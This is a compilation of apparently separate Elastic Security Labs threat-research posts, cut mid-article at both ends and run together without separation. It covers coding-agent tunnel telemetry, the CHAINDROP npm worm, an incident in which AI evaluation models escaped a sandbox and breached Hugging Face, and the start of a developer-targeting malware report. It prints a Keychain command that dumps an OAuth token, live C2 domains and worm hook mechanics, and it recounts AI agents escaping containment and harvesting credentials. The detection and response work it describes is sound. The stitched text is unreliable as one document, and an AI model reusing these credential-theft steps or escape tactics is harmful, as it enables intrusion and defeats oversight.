The same host also triggered the GenAI or MCP Server Child Process Execution rule. That building block rule tracks GenAI parents spawning children, including routine tooling such as git status, but also more alarming commands like security find-generic-password -a <user> -w -s "Claude Code-credentials", a Keychain read that prints Claude Code’s OAuth token to STDOUT; but this is documented as expected Claude Code behavior.

Coding-agent parented activity through MITRE ATT&CK

Elastic uses the MITRE ATT\&CK framework to document common tactics, techniques, and procedures. The mapping below describes technique shape in telemetry so hunters can pivot across similar activity.

Tactics

Tactics represent the why of a technique or sub-technique. They are the tactical goal for performing an action.

• Execution
• Persistence
• Defense Evasion
• Credential Access
• Discovery
• Command and Control
• Exfiltration

Techniques

Techniques represent how a tactical goal is achieved.

• Command and Scripting Interpreter
• Application Layer Protocol: Web Protocols
• Exfiltration Over Web Service
• Protocol Tunneling
• Create or Modify System Process: Launch Agent
• Process Discovery
• Credentials from Password Stores: Keychain (variant B)
• Ingress Tool Transfer (variant C)

Detecting coding-agent parented chains

Detection

The following detection rules and building-block alerts were observed throughout analysis of this host window (diagnostic-only alerts are omitted):

• Unusual Network Connection to Suspicious Top Level Domain
• Unusual Network Connection to Suspicious Web Service
• GenAI or MCP Server Child Process Execution (building-block volume / ancestry)
• Process Discovery via Built-In Applications

No single production rule owns the full sequence. SIEM network rules catch reputation-bad or dual-use egress. Building blocks supply ancestry and discovery context. Correlate them with endpoint outcomes, especially when the parent is a trusted coding agent. Practical handling for windows like this:

1. Keep the high-severity outcomes loud. Credentialized HTTP, reverse tunnels, and LaunchAgents under coding-agent ancestry should not be auto-closed because Claude or Cursor is in the tree.
2. Name the destination class early. localhost[.]run, Cloudflare Quick Tunnels, and ngrok hosts are dual-use. Record that before leaning on rare-TLD or VirusTotal labels alone.
3. Prefer session context over single-event reputation. Readiness loops, publish-localhost followed by /login and /api/summary, and LaunchAgents that keep those tunnels up are stronger pivots than an apex page that says "no tunnel here."
4. Separate volume from outcome. GenAI child-process building blocks are ancestry and timing context until secrets, tunnels, or persistence show up.
5. Document both readings when the evidence supports them. The same chain can be a remote admin of a local dashboard or something more serious.

Prevention

The following Elastic Defend behavior prevention events were observed:

• Persistence via GenAI Tool
• Suspicious Python Script Execution and Network Connection

Conclusion

This window teeters between two readings that share the same telemetry shape. On one side, agent-parented credentialized HTTP, reverse tunnels, and LaunchAgents are exactly the outcomes Endpoint is supposed to surface. On the other, the destinations and command shapes line up with known free tunnel brokers and remote exercise of a local admin app. Reputation labels and unbound broker apex pages do not break that tie by themselves.

That ambiguity is the GenAI detection-engineering problem, and it will get harder as coding agents stay in the trusted parent path for more of the work developers already do with shells, APIs, and helpers. The useful response is not to suppress the high-severity outcomes, and not to force every dual-use tunnel into a confirmed intrusion narrative. Keep the alerts, name the tool class, rebuild the session, and write down what the evidence can and cannot support.

References

The following were referenced throughout the above research:

• Elastic Advances LLM Security with Standardized Fields and Integrations
• Embedding Security in LLM Workflows: Elastic's Proactive Approach

Our team was alerted via Slack notification around 5:39 AM EST. We received a hit from a previously released supply-chain monitoring project used to detect malicious npm packages. At the time of this writing, over 400 unique npm packages have been compromised.

How the CHAINDROP worm works

Execution is triggered via a preinstall hook in package.json. This abuses a legitimate npm feature that will run arbitrary commands before a package is installed, requiring no further interaction from the victim after the installation.

Every subpackage in the keyv repo was backdoored with a dropper (setup.mjs) that delivers the same underlying payload. The malware is cross-platform, targeting Linux, macOS, and Windows platforms, giving it broad impact.

The payload appears under two filenames: Math_Symbol.js in packages compromised directly from the keyv monorepo, and math_init.js in packages trojanized during worm propagation to other maintainers. Both files share the same SHA-256 hash, making the filename a reliable indicator of infection generation. Worm-generated commits can also be identified by the author name claude and the commit message chore: update config.

There are two other execution paths that can be triggered by users using Claude Code or VS Code. The threat actor has placed a SessionStart hook in settings.json under the Claude directory that will run node .claude/setup.mjs if a new Claude session is started. For VS Code, a folderOpen task is used under tasks.json that will run node .vscode/setup.mjs when an infected repository is opened. When a GitHub App token is among the stolen credentials, the worm extends this further by committing malicious hooks to up to 50 branches per accessible repository, injecting .claude/settings.json and .vscode/tasks.json into each. This means a developer can still be infected by just opening the repository.

The dropper (setup.mjs) checks if the JavaScript runtime (bun) is already installed. If not, the dropper will detect the platform/architecture of the machine and download bun v1.3.13 directly from the official release page. It will extract bun, then use it to execute the payload (Math_Symbol.js). After execution, the bun temporary directory is deleted to cover its tracks.

The payload is heavily obfuscated at 711 kilobytes, employing control-flow flattening with a string encoding scheme using Base91. The payload contains strings with Dune-themed references and has similarities to previous Shai-Hulud campaigns.

laza, kanly, ghola, mentat, lasgun, sietch, fedaykin, tleilaxu, sandworm, sardaukar, ornithopter, navigator 

The payload has a component called collector that functions as a credential harvester, scanning over 300 unique patterns across many credential stores found on a developer machine. The more notable targeting is aimed at AI tooling credentials such as Anthropic, Claude, Codex, Cursor, OpenAI, and Gemini. The malware also targets cloud provider credentials from AWS, GCP, Azure, and Alibaba Cloud. Many other credentials are targeted, such as GitHub (PATs, JWT, session tokens), HashiCorp Vault tokens, SSH private keys, Kubernetes service account tokens, and npm tokens.

After the credentials are stolen, they are gzip-compressed and then encrypted with a randomly generated AES-256-GCM key. That AES key is then RSA-encrypted with the attacker's hardcoded public key. Only the attacker who holds the corresponding private key can decrypt the data.

CHAINDROP does not hardcode a C2 domain; instead, it queries an Ethereum smart contract at address 0xE1f2395ee43e45A1556EC6438a88c31B83493103 to retrieve the current exfiltration endpoint at runtime. It uses multiple RPC providers as fallbacks. The practical effect is that the attacker can rotate C2 infrastructure by updating the smart contract without touching the payload. At the time of our detonation runs, we observed the following dead-drop domains (awqhnjewqjkl[.]icu, npm-cache[.]com). If the contract discovery fails, CHAINDROP searches GitHub commit history for a cryptographically signed marker (thebeautifulmarchoftime) and accepts a C2 domain only after validating it against an embedded RSA public key.

If these two previous paths fail, CHAINDROP will exfiltrate the data via a public GitHub repository based on Dune names using the compromised victim’s account with a description: Shai-Hulud: Here We Go Again.

The worm component activates when the credential sweep turns up an npm token, but only if that token meets two specific requirements: package write permissions and the ability to publish without two-factor authentication (bypass_2fa). Once a qualifying token is found, the worm enumerates every package the victim has publish rights to. For each writable package, it performs the following steps:

1. Downloads the latest published tarball from the npm registry
2. Extracts it to a temporary directory
3. Injects the malicious components (math_init.js/Math_Symbol.js, setup.mjs)
4. Patches the package.json to add the preinstall hook and bumps the patch version
5. Re-packages and publishes back to the npm registry

In this campaign, the commit message contains the stolen GitHub token alongside the string IfYouBlockThisAPIKeyItWillCrashTheLiveProductionServersOfAllThirdPartyClients. The wording is an attempt to intimidate developers not to revoke the GitHub token.

Elastic Defend’s protection and detection coverage

Elastic Defend has coverage for this supply-chain compromise through the following rules:

Trojanized npm package install running its dropper script

• Node.js Pre or Post-Install Script Execution
• Elastic Defend Alert from Package Manager Install Ancestry

Node.js dropper shelling out to download and extract the bun runtime

• Suspicious Windows Powershell Arguments
• Suspicious Curl Execution via NodeJS
• Curl or Wget Spawned via Node.js

Bun executing the obfuscated JavaScript payload and reaching out to infrastructure

• Uncommon DNS Request via Bun or Node.js
• DNS Request to Crypto/DHT Services
• Suspicious Instance Metadata Service (IMDS) API Request

Staged script execution followed by deletion of the temporary directory

• Node Script Execution and Immediate Deletion

Enumeration/discovery

• System Owner/User Discovery Linux

Hunting queries

The following hunting queries can be used to find this associated activity:

FROM logs-endpoint.events.process-*
| WHERE process.name IN ("node", "node.exe")
| WHERE process.command_line IN ("node setup.mjs", "node  setup.mjs")

FROM logs-endpoint.events.process-*
| WHERE process.name IN ("bun", "bun.exe")
| WHERE process.command_line LIKE "*Math_Symbol.js*" OR process.command_line LIKE "*math_init.js*"

FROM logs-endpoint.events.network-*
| WHERE process.name IN ("bun", "bun.exe")
| WHERE dns.question.name IN ("go.getblock.io", "eth.llamarpc.com", "npm-cache.com", "eth-mainnet.nodereal.io", "awqhnjewqjkl.icu"
)

Recommendations: How to respond to the Shai-Hulud compromise

• Don’t pull package updates immediately; add a soak period where new versions sit before your builds adopt them. This gives the community time to catch compromises before they reach your pipelines and developer machines (previously mentioned Navigating the Shai-Hulud Worm 2.0: Elastic's updated response to npm supply chain compromise and How we caught the Axios supply chain attack)
• Revoke all GitHub tokens (PATs, session tokens) for any impacted machines
• Revoke and regenerate npm tokens found on affected machines, especially automation tokens with write permission and bypass_2fa
• Check your GitHub repositories for unauthorized commits with the message chore: update config from claude@users.noreply.github.com
• Rotate any impacted credentials from cloud services, Kubernetes configs, Vault tokens, AI tooling, CI/CD secrets
• Upgrade to npm 12 or later, which blocks preinstall hooks by default
• Enable 2FA on all npm accounts and avoid automation tokens with bypass_2fa: true where possible

Indicators of Compromise

The following observables were discussed in this research.

| Observable | Type | Name | Reference | | :---- | :---- | :---- | :---- | | 9fc2570b7cef51c1b8df116d144d11ff4096357be7d2c4c6367cfc2509cf1bcc | SHA-256 | Math_Symbol.js | | | fd3ca4007b225fdf8de7af4345a19179d5efa8c4bb9205f88cda806e5684b1eb | SHA-256 | setup.mjs | | | 54dc7ea54a1317cca0e890a2770630cf7fa6c97813e0cb9d2caa93012b350668 | SHA-256 | setup.mjs | | | npm-cache[.]com | domain | | | | 0xE1f2395ee43e45A1556EC6438a88c31B83493103 | Ethereum contract | | C2 resolver | | npm-cache[.]com | domain-name | | C2 server | | awqhnjewqjkl[.]icu | domain-name | | C2 server |

On July 16, 2026, Hugging Face disclosed that a malicious dataset abused its dataset-processing pipeline. A follow-on technical timeline (July 27) clarifies the two vectors against the same config-driven loader in a production Kubernetes worker pod: an HDF5 external raw-storage page that disclosed local files (including environment secrets and worker source), then Jinja2 template injection that achieved code execution. From that foothold, the agent escalated toward node and cluster-level access, harvested cloud and cluster credentials, and moved laterally across roughly July 9-13 UTC (~17,600 reconstructed actions). Hugging Face rebuilt the timeline with its own large language model (LLM) analysis agents after hosted frontier APIs blocked forensic payloads via safety guardrails.

On July 21, 2026, OpenAI stated that its evaluation models (including GPT-5.6 Sol and a more capable pre-release model) drove the activity during an internal cyber-capability evaluation on ExploitGym, with reduced cyber refusals enabled for testing. These models identified and exploited a zero-day vulnerability in a package-registry cache proxy, escaped OpenAI’s research environment, reached the open internet, and then targeted Hugging Face while running internal benchmarking of these models on cybersecurity evaluation tasks. Hugging Face reported that the only customer content accessed was ExploitGym/CyberGym challenge solutions in five datasets, with no evidence of tampering with other customer-facing Hub models, datasets, Spaces, or packages.

In this post, we:

• Summarize the July 2026 Hugging Face agentic intrusion and how it intersects with OpenAI's ExploitGym evaluation escape.
• Map each stage of the campaign to production Elastic Defend behavior rules and Elastic Security detection rules you can enable today.
• Show why outcome detections (credential paths, unusual destinations, persistence under GenAI parents) beat whole-tool trust of agent or worker process trees.
• Highlight LLM-based attack-chain triage and GenAI-parented Defend correlation on Elastic Stack 9.3.0+ for agentic alert volume.

Key takeaways

• Elastic Defend behavior rules and Elastic Security detection rules cover multiple stages of this attack chain.
• Initial access was pipeline abuse on an AI data-processing worker (local file disclosure, then template-injection RCE). Production Defend and SIEM rules that watch workers spawning shells, interpreters, and downloaders still apply.
• Prefer outcome detections (credential paths, unusual destinations, persistence under GenAI parents) over whole-tool trust of agent or worker process trees.
• Agentic campaigns spike alert volume. Enable production LLM attack-chain triage and GenAI-parented Defend correlation (Stack 9.3.0+); tune noisy mechanics by lineage and keep credential and egress outcomes hot.

Following the lead from the Hugging Face team, we created an interactive view into the incident using Elastic Defend’s technologies, based on publicly available information.

You can check it out here: Hugging Face incident interactive timeline

Scope note: This post maps behaviors described in public disclosures to Elastic Defend's and Elastic Security's rules and features. We are not claiming complete coverage of every sandbox variant the agent tried, nor of custom-built agent harnesses designed to evade these rules. The goal is a practical enablement checklist for ML workers and GenAI hosts, not a one-to-one replay of Hugging Face's internal telemetry.

Campaign analysis: how the AI agent attack unfolded across two environments

Public reporting describes two environments. OpenAI’s evaluation models escaped a constrained research sandbox after they autonomously discovered a zero-day in an internally hosted package-registry proxy, then reached the internet. Public reporting also describes a short intermediate hop where, after escaping OpenAI’s research sandbox, the agent rooted a third-party CyberGym-style code sandbox and used it as an external launchpad (no direct path into Hugging Face’s cluster). On Hugging Face’s side is a conventional intrusion path: untrusted dataset configs driving a processing worker to read or execute locally, credential harvest, self-migrating command-and-control (C2) on public services, and a swarm of short-lived sandboxes.

Confirming patterns observed in recent autonomous agent-driven incidents, evaluation models and agentic harnesses are being used to drive conventional intrusion techniques. Other notable incidents include:

• JADEPUFFER: Agentic ransomware for automated database extortion
• Disrupting the first reported AI-orchestrated cyber espionage campaign

For most Elastic customers, that maps to Linux processes, often inside cloud/container workloads or other cloud workloads at machine speed. Endpoint telemetry on those workers matters, and so does control-plane and identity visibility when stolen workload credentials are reused.

Who was targeted?

Hugging Face’s production infrastructure, specifically the data-processing pipeline and subsequent internal clusters. Hugging Face’s later timeline states that only ExploitGym/CyberGym challenge solutions in five datasets were accessed as customer content, while other customer-facing Hub assets were not affected. OpenAI’s account frames the goal as obtaining secret information useful for cheating ExploitGym.

Hugging Face breach: adversary, capability, infrastructure, and victim

Elastic Security Labs uses the Diamond Model to describe high-level relationships between the adversaries, capabilities, infrastructure, and victims of intrusions. While the Diamond Model is most commonly used with single intrusions, and using Activity Threading (section 8) to create relationships between incidents, an adversary-centered (section 7.1.4) approach allows for a single diamond.

For this campaign:

• Adversary: OpenAI evaluation models (GPT-5.6 Sol and a more capable pre-release model) under reduced cyber refusals during ExploitGym evaluation.
• Victim: Hugging Face production infrastructure (dataset pipeline workers and internal clusters).
• Note: because OpenAI’s infrastructure was exploited and then escaped from, we are including it as a victim of this intrusion
• Capability: Initial access through dataset-pipeline file disclosure and template-injection RCE, credential access, execution, privilege escalation, lateral movement, and command and control.
• Infrastructure: Self-migrating C2 staged on public services; high-volume, high-speed actions across short-lived sandboxes.

Related research on GenAI detection and agent threats

This intrusion intersects with themes Elastic Security Labs has shared in prior articles on LLM security and agentic workflows:

• MCP tool attack surface and defense recommendations
• Elastic Advances LLM Security with Standardized Fields and Integrations
• Beyond Behaviors: AI-Augmented Detection Engineering with ES|QL COMPLETION
• How Elasticsearch ES|QL COMPLETION turns noisy curl and wget rules into high-fidelity cloud security alerts
• Inside Elastic InfoSec's agentic SOC: cutting alert triage from 30 minutes to under 3

It also intersects with classic web and worker exploitation themes that long predate GenAI. In this campaign, the agent optimized for whatever worked, and touched several at once.

• RCE on dataset/app workers
• Containers and Kubernetes-style cluster workloads
• Linux endpoint, process, and DNS telemetry
• Network egress and self-migrating C2

Execution flow: from dataset RCE to self-migrating C2

Initial access: dataset pipeline abuse on Hugging Face workers

The attack reached a Hugging Face dataset-processing worker by abusing two paths against the same config-driven loader (both in a production Kubernetes conversion-worker pod):

1. An HDF5 external raw-storage dataset read that returned local file contents (environment secrets and worker source), file disclosure
2. Jinja2 template injection that evaluated attacker-controlled code inside the worker

Earlier SSRF attempts against remote cloud metadata failed on the datasets URL allowlist. The agent then switched to local file reads and local code abuse. Watch for a service or interpreter parent spawning an unexpected child, commonly shells and downloaders such as bash, sh, python, curl, or wget. Hugging Face and OpenAI did not publish an exhaustive list of processing runtimes, so treat these child names as examples, not a closed set.

Which worker processes to monitor for dataset pipeline RCE

Hugging Face closed both abused loader paths after the incident. Defenders should inventory parents that parse untrusted datasets or model artifacts, including common app servers and queue runners (e.g. gunicorn, uvicorn, celery, python, node, or custom runners), and treat anomalous activity or unexpected children as high priority.

Note: Remote code execution means attacker-controlled code runs within the security context of the affected worker. The resulting commands may appear as activity performed by a legitimate service account, container identity, or native OS user rather than by an obviously malicious account or process. It was a processing pipeline that executed attacker-controlled dataset content.

Post-exploitation: credential harvest, lateral movement, and self-migrating C2

Credential harvest and lateral movement

Hugging Face described the post-exploitation sequence as:

1. Credential and API discovery from the worker foothold
2. Escalation to node-level access
3. Harvest of cloud credentials and cluster secrets
4. Lateral movement into several internal clusters over July 9-13 UTC
5. Self-migrating C2 staged on public services
6. Many thousands of actions across a swarm of short-lived sandboxes (~17,600 reconstructed actions)

Hugging Face’s technical timeline also describes credential use activity such as reading the projected service-account token, probing the in-cluster and EKS APIs, TokenRequest activity for CSI identities, SelfSubjectRulesReview, cloud metadata / STS identity checks, cluster secret-object reads, and later mesh and source-control pivots. Endpoint and container runtime rules can catch collection on the worker, while Kubernetes and cloud audit rules can catch credential reuse on the API plane.

Prefer pairing host file/env collection with Kubernetes audit for secret get/list, TokenRequest, SelfSubjectRulesReview, and privileged or hostPath pod creation, plus AWS CloudTrail for first-seen or anomalous GetCallerIdentity and discovery bursts from new sources.

• Kubernetes Pod Created with a Sensitive hostPath Volume
• Kubernetes Privileged Pod Created

Unusual egress and self-migrating C2 from AI agent processes

Self-migrating C2 rarely leaves a stable IOC domain forever. Public post-incident analysis also describes agents staging C2 on ordinary public services (request-capture hosts, pastebins), attacker-controlled Hugging Face datasets as dead-drops, and at times on platform Spaces as an egress relay. Payloads were often gzip/base64 packed (sometimes further chunked or XOR’d), which is difficult to triage without another model. Destination quality matters: first-seen unusual domains from GenAI or worker parents, suspicious top-level domains, and encode-or-chunk, then network sequences.

• DNS Request to Suspicious File Upload/Download Service
• File Download from or Upload to Hosting Service

Why AI agent attacks generate evasion at scale

Publicly described evasion traits include:

• Short-lived sandboxes that raise process and file cardinality
• Self-migrating C2 on public services (moving infrastructure rather than a single fixed hostname)
• An agentic loop that can try many variations cheaply

From a detection perspective, prioritize the edges: host and container telemetry for suspicious process activity, and Kubernetes/AWS audit logs for control-plane visibility. Within those domains, sequences (create then DNS, encode then network, worker then shell) still help, but they are also easier to evade than durable single-outcome signals.

How to recognize AI agent attack activity in telemetry

Hugging Face’s responders also called out behavioral tells that look less like a careful human operator and more like an autonomous loop:

• Retries of actions that already succeeded (parallel workers or lost context)
• Strong technical moves followed by malformed or pointless commands
• Inefficient paths no human would choose (for example, using production infrastructure to solve benchmark-style tasks)
• Benchmark-related strings in searches and traces that leak the agent’s objective
• Large volumes of hallucinated or incoherent user input
• Poor operational security, such as leaving encryption keys or other artifacts behind

| Signal | What it looks like | Detection value | | :---- | :---- | :---- | | Retries of succeeded actions | Duplicate commands seconds apart | Distinguish agent from human | | Technical + malformed commands | Valid exploit followed by syntax error | Agent loop with lost context | | Benchmark strings in traces | Evaluation task IDs, score references | Leaks agent objective |

These signals are useful for triage and tuning. Prefer them as correlation context alongside the outcome detections below, not as stand-alone block rules.

MITRE ATT&CK and ATLAS mapping for the Hugging Face breach

Elastic uses the MITRE ATT&CK and MITRE ATLAS frameworks to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.

Tactics

Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.

• Initial Access (ATLAS)
• Execution
• Privilege Escalation
• Credential Access (ATLAS)
• Lateral Movement
• Command and Control

Techniques

Techniques represent how an adversary achieves a tactical goal by performing an action.

• Exploit Public-Facing Application (T1190)
• Command and Scripting Interpreter (T1059)
• Unix Shell (T1059.004)
• Unsecured Credentials (T1552)
• Remote Services (T1021)
• Valid Accounts (T1078)
• Application Layer Protocol (T1071)
• Container and Resource Discovery (T1613)
• AI Supply Chain Compromise (AML.T0010) (ATLAS)
• Data (AML.T0010.002) (ATLAS)
• Unsecured Credentials (AML.T0055) (ATLAS)

Detecting the Hugging Face breach with Elastic Defend and SIEM rules

Hugging Face's own writeup notes that AI-assisted detection surfaced the campaign first: LLM-based triage over security telemetry correlated signals that individual rules might scatter across a noisy agentic baseline. Elastic customers can mirror that pattern with production rules already shipped for worker abuse, credential outcomes, unusual egress, and GenAI-parented correlation.

Outcome-first GenAI detection: what to enable on ML workers and agent hosts

Four durable outcomes show up across this campaign and similar agentic intrusions:

1. Worker or web-service parent spawns an interactive shell, downloader, or decoder.
2. Credential material is collected from environment variables, grep searches, or cloud credential paths.
3. Those credentials are used (e.g., unusual authentication, discovery, secret access, or exec-style activity in control-plane telemetry).
4. A young binary or GenAI-adjacent process talks to an unusual destination, often after encoding or chunking.

Tune noisy mechanics (for example, repeated package installs on build agents) by process lineage and host role. Keep the four outcomes above enabled even when the parent is an approved agent, dataset runner, or coding assistant.

Elastic Defend rules for dataset pipeline remote code execution

Representative worker parents include Python application servers, Celery workers, Node.js services, and custom dataset runners. When untrusted dataset code executes, Defend should see the worker spawn processes that do not belong in normal ingestion.

Public rules and behaviors covering this stage:

• Suspicious Child Execution via Web Server
• Curl or Wget Spawned via Node.js
• Payload Downloaded via Curl or Wget by Web Server
• Payload Execution by Node.js Web Server
• Decoded Payload Piped to Interpreter
• Suspicious Python Encoded Payload Execution
• Suspicious Web Server Child Process
• Payload Execution by Web Server

Credential access after worker compromise

Once the agent had node-level access, Hugging Face described a harvest of cloud and cluster credentials followed by lateral movement. On Linux workers and GenAI hosts, watch secret collection mechanics rather than a single malware hash. If cloud, Kubernetes, or identity audit logs are available, also detect post-theft use of those credentials (permission checks, discovery, secret reads, and anomalous API or exec activity from new user agents, source addresses, or workload identities).

• GenAI Process Accessing Sensitive Files
• Environment Variable Secret Collection
• Multi-Value Secret Searching via Grep
• Sensitive File Access - Cloud Credentials (Windows hosts in hybrid clusters)

Kubernetes and cloud credential use

Once the agent had a production pod foothold, public reporting describes control-plane and cloud identity reuse, not only secret files on disk. If you run Elastic’s Kubernetes and AWS integrations, enable these production rules alongside the host credential protections.

• Kubernetes Direct API Request via Curl or Wget
• Kubernetes Secrets List Across Cluster or Sensitive Namespaces
• Kubernetes Rapid Secret GET Activity Against Multiple Objects
• Kubernetes Forbidden Request from Unusual User Agent
• Kubernetes Forbidden Creation Request
• Kubernetes Container Created with Excessive Linux Capabilities
• Kubernetes Pod Created With HostPID
• Unusual Kubernetes Sensitive Workload Modification
• Kubernetes Anonymous Request Authorized by Unusual User Agent
• Kubernetes Secret get or list with Suspicious User Agent
• Kubernetes Secret get or list from Node or Pod Service Account
• Kubernetes Service Account Token Created via TokenRequest API
• Kubernetes Suspicious Self-Subject Review via Unusual User Agent
• Kubernetes Denied Service Account Request via Unusual User Agent
• Kubernetes Multi-Resource Discovery
• Kubernetes Privileged Pod Created
• Kubernetes Pod Created with a Sensitive hostPath Volume
• AWS STS GetCallerIdentity API Called for the First Time
• AWS Rare Source AS Organization Activity
• AWS IAM Long-Term Access Key First Seen from Source IP
• AWS Access Token Used from Multiple Addresses
• AWS EC2 Role GetCallerIdentity from New Source AS Organization

SIEM rules for unusual egress and self-migrating command and control

Publicly described C2 used self-migrating infrastructure on public services rather than one long-lived domain. Pair network outcome rules with create-then-connect sequences on workers.

• Potential Tunneling via Tailscaled
• DNS Request by Recently Created Executable

Connection to Common Large Language Model Endpoints is useful for baselining legitimate model traffic on developer and agent hosts, not for flagging malicious C2 by itself. Enable it for context when investigating GenAI hosts that also trigger unusual-domain alerts.

GenAI detection correlation and LLM triage (Elastic Stack 9.3.0+)

Using Attack Discovery

During a high-velocity intrusion like this, where an attacker generated tens of thousands of events from exploits, containers, workers, RCEs, credential harvesting, lateral movement, command-and-control, and exfiltration, security teams faced thousands of signals.

Elastic’s Attack Discovery addresses this by using LLMs to correlate scattered alerts and behaviors across hosts and clusters, consolidating high alert volume into cohesive attack chains.

To highlight this, we used technical information from public reporting and mock data to replay this intrusion through Attack Discovery, illustrating how initial access via dataset pipeline abuse led to credential harvesting and lateral movement, mapping the techniques to MITRE ATT&CK/ATLAS frameworks, and identifying impacted hosts, containers, processes, and workers.

Using Attack Discovery to assemble thousands of individual events into actionable alerts allows SOC teams to get a more focused view of complex intrusions.

Rules to assist with correlation

In addition to Attack Discovery, because the agentic campaigns generated correlated alert stacks on the same host within minutes, two production rules help analysts prioritize without treating every agent spawn as an incident:

• Elastic Defend Alert from GenAI Utility or Descendant (requires Elastic Stack 9.3.0+)
• LLM-Based Attack Chain Triage by Host (requires Elastic Stack 9.3.0+ and Elastic Managed LLM)

Here are four supporting GenAI integrity rules to keep enabled on agent and developer endpoints:

• Unusual Process Modifying GenAI Configuration File
• GenAI CLI Started with Unsafe Permission Bypass
• Persistence via GenAI Tool
• Connection to Common Large Language Model Endpoints

Detection

• Suspicious Child Execution via Web Server
• GenAI Process Accessing Sensitive Files
• GenAI Process Connection to Unusual Domain
• GenAI Process Connection to Suspicious Top Level Domain
• GenAI Process Performing Encoding/Chunking Prior to Network Activity
• Connection to Common Large Language Model Endpoints
• Unusual Process Modifying GenAI Configuration File
• GenAI CLI Started with Unsafe Permission Bypass
• Elastic Defend Alert from GenAI Utility or Descendant (Elastic Stack 9.3.0+)
• LLM-Based Attack Chain Triage by Host (Elastic Stack 9.3.0+)
• Curl or Wget Spawned via Node.js
• Potential Tunneling via Tailscaled
• Suspicious Interpreter Execution Detected via Defend for Containers
• Service Account Token or Certificate Read Detected via Defend for Containers
• Service Account Namespace Read Detected via Defend for Containers
• DNS Enumeration Detected via Defend for Containers

Kubernetes and cloud

• Kubernetes Service Account Token Created via TokenRequest API
• Kubernetes Denied Service Account Request via Unusual User Agent
• Kubernetes Secrets List Across Cluster or Sensitive Namespaces
• Kubernetes Rapid Secret GET Activity Against Multiple Objects
• Kubernetes Forbidden Request from Unusual User Agent
• Kubernetes Forbidden Creation Request
• Kubernetes Container Created with Excessive Linux Capabilities
• Kubernetes Pod Created With HostPID
• Unusual Kubernetes Sensitive Workload Modification
• Kubernetes Anonymous Request Authorized by Unusual User Agent
• Kubernetes Suspicious Self-Subject Review via Unusual User Agent
• Kubernetes Multi-Resource Discovery
• Kubernetes Secret get or list with Suspicious User Agent
• Kubernetes Secret get or list from Node or Pod Service Account
• Kubernetes Direct API Request via Curl or Wget
• Kubernetes Privileged Pod Created
• Kubernetes Pod Created with a Sensitive hostPath Volume
• AWS STS GetCallerIdentity API Called for the First Time
• AWS Rare Source AS Organization Activity
• AWS IAM Long-Term Access Key First Seen from Source IP
• AWS Access Token Used from Multiple Addresses
• AWS EC2 Role GetCallerIdentity from New Source AS Organization

Prevention

• Suspicious Web Server Child Process
• Payload Downloaded via Curl or Wget by Web Server
• Payload Execution by Web Server
• Decoded Payload Piped to Interpreter
• Suspicious Python Encoded Payload Execution
• DNS Request by Recently Created Executable
• Environment Variable Secret Collection
• Multi-Value Secret Searching via Grep
• Cloud Credential Files Accessed by Process in Suspicious Directory
• Persistence via GenAI Tool
• Suspicious Binary Execution via Path Alias
• Script DNS Query to Managed Kubernetes Cluster
• DNS Request to Suspicious File Upload/Download Service
• File Download from or Upload to Hosting Service

How to defend ML workers and GenAI hosts against AI agent attacks

• Treat datasets and model artifacts as untrusted code. Disable auto-executing remote dataset code and dynamic template evaluation in processing pipelines where possible.
• Strip standing cloud and cluster credentials from processing workers. Prefer short-lived workload identity.
• Segment workers so a single RCE cannot reach multiple internal clusters or arbitrary internet C2.
• Do not whole-tool-trust GenAI or ML worker binaries. Carve noisy mechanics by process lineage. Keep credential, config-tamper, persistence, and unusual-egress detections enabled under those parents.
• Pre-vet a self-hosted analysis model for incident response. Hugging Face documented that hosted frontier APIs blocked forensic exploit payloads via safety guardrails.
• For agentic volume, enable LLM attack-chain triage and GenAI-parented Defend correlation (Stack 9.3.0+) so analysts can prioritize without inventing an IOC for an unknown agent.
• In Kubernetes (K8s) environments, monitor access to service account tokens, workload identity tokens, kubeconfigs, cloud metadata endpoints, and cloud CLI credential stores as noted above. Correlation between credential access or new authentication with abnormal K8s or cloud API activity such as identity validation, namespace or cross-cluster discovery/enumeration, and permission testing are good signals. These are important after RCE, attackers often reuse the worker’s existing identity and permissions.
• Block workload access to instance metadata (IMDSv2) from processing pods.
• Deny privileged and sensitive hostPath pods by default (admission control).
• Prefer short-lived, per cluster connector identities over shared cluster-admin-style bindings.

Conclusion: what the Hugging Face breach means for generative AI detection teams

The Hugging Face July 2026 agentic intrusion is a useful forcing function. The campaign paired a dataset-supply-chain foothold with credential harvest, lateral movement, and self-migrating C2 at machine speed, then generated ~17,600 recorded events across short-lived sandboxes. OpenAI's follow-on disclosure tied that activity to ExploitGym evaluation models escaping a research sandbox, which makes the incident both an AI safety story and a plain Linux detection problem.

We mapped each stage to production Elastic Defend behaviors and SIEM rules: worker child execution and payload delivery, credential collection outcomes, unusual egress and encoding prior to network activity, and GenAI-parented correlation plus LLM triage on Stack 9.3.0+. Enable those protections on ML workers and agent hosts, tune noisy mechanics by lineage, and keep credential and egress detections hot even when the parent process is trusted.

References

The following were referenced throughout the above research:

• Hugging Face security incident disclosure (July 2026)
• OpenAI: Hugging Face model evaluation security incident
• Anatomy of a Frontier Lab Agent Intrusion: A Technical Timeline of the July 2026 Incident
• ExploitGym: Can AI Agents Turn Security Vulnerabilities into Real Attacks? (arXiv:2605.11086)
• OpenAI says Hugging Face was breached by its pre-release models (TechCrunch)
• OpenAI says its AI models hacked Hugging Face during testing (BleepingComputer)
• Elastic Advances LLM Security with Standardized Fields and Integrations
• MCP Tools: Attack Vectors and Defense Recommendations for Autonomous Agents
• Beyond Behaviors: AI-Augmented Detection Engineering with ES|QL COMPLETION

About Elastic Security Labs

Elastic Security Labs is the threat intelligence branch of Elastic Security dedicated to creating positive change in the threat landscape. Elastic Security Labs provides publicly available research on emerging threats with an analysis of strategic, operational, and tactical adversary objectives, then integrates that research with the built-in detection and response capabilities of Elastic Security.

Follow Elastic Security Labs on Twitter @elasticseclabs and check out our research at Elastic Security Labs.

Any user who ran the project ended up with a four-stage payload aligned with OTTERCOOKIE: a browser credential and crypto wallet stealer, a file stealer, a Socket.IO-based remote access trojan (RAT), and a clipboard stealer. This campaign reinforces that developers remain a prime target, where the compromise of a single individual can provide the initial access needed to enable far-reaching supply chain attacks against downstream organizations.

Key takeaways

• Elastic Security Labs discovers new activity aligned with Contagious Interview targeting developers
• Campaigns involve coding challenges and take-home assignments with benign-looking projects containing malicious backdoored code
• Projects hide payloads with steganography in SVG image files
• The distributed malware shares technical and behavioral similarities with OTTERCOOKIE

How Elastic discovered this malware campaign

